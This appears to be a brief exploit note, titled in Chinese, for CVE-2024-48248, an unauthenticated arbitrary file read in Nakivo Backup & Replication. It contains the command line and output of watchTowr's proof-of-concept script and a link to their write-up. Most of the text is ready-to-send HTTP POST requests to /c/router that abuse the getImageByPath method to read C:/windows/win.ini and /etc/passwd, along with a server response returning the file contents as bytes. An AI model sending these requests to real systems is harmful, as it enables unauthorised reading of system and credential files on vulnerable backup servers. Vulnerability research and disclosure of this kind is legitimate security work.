nakivo-任意文件读取（CVE-2024-48248）

python3 watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py --url https://192.168.1.1:4443 --file "C:\windows\win.ini"         __  _  ______ _/  |__ ____ |  |___    ________  _  ________           / / __      ___/ ___|  |  |    | /  _  / / _  __                / / __ |  |   ___|   Y  |    |(  <_>      / |  | /           /_/ (____  |__|  ___  |___|__|__  | __  / /_/  |__|                                     /          /     /                                    watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py        (*) Nakivo Unauthenticated Arbitrary File Read (CVE-2024-48248) POC by watchTowr          - Sonny , watchTowr ([email protected])        CVEs: [CVE-2024-48248][*] Targeting https://192.168.1.1:4443[*] Attempting to read file 'C:windowswin.ini'[*] File Contents:; for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1

https://labs.watchtowr.com/the-best-security-is-when-we-all-agree-to-keep-everything-secret-except-the-secrets-nakivo-backup-replication-cve-2024-48248/

POST /c/router HTTP/1.1Host: {{Hostname}Content-Type: application/jsonConnection: keep-aliveContent-Length: 121{"action":"STPreLoadManagement","method":"getImageByPath","data":["C:/windows/win.ini"],"type":"rpc","tid":3980,"sid":""}

POST /c/router HTTP/1.1Host: {{Hostname}Content-Type: application/jsonConnection: keep-aliveContent-Length: 121{"action":"STPreLoadManagement","method":"getImageByPath","data":["/etc/passwd"],"type":"rpc","tid":3980,"sid":""}

HTTP/1.1 200 

POST /c/router HTTP/1.1Host: {{Hostname}Content-Type: application/jsonConnection: keep-aliveContent-Length: 121{"action":"STPreLoadManagement","method":"getImageByPath","data":["C:/windows/win.ini"],"type":"rpc","tid":3980,"sid":""}Vary: OriginVary: Access-Control-Request-MethodVary: Access-Control-Request-HeadersStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: max-age=0Content-Type: text/html;charset=UTF-8Content-Language: en-USContent-Length: 466Keep-Alive: timeout=60Connection: keep-alive{"action":"STPreLoadManagement","method":"getImageByPath","tid":"3980","type":"rpc","message":null,"where":null,"cause":null,"data":[59,32,102,111,114,32,49,54,45,98,105,116,32,97,112,112,32,115,117,112,112,111,114,116,13,10,91,102,111,110,116,115,93,13,10,91,101,120,116,101,110,115,105,111,110,115,93,13,10,91,109,99,105,32,101,120,116,101,110,115,105,111,110,115,93,13,10,91,102,105,108,101,115,93,13,10,91,77,97,105,108,93,13,10,77,65,80,73,61,49,13,10]}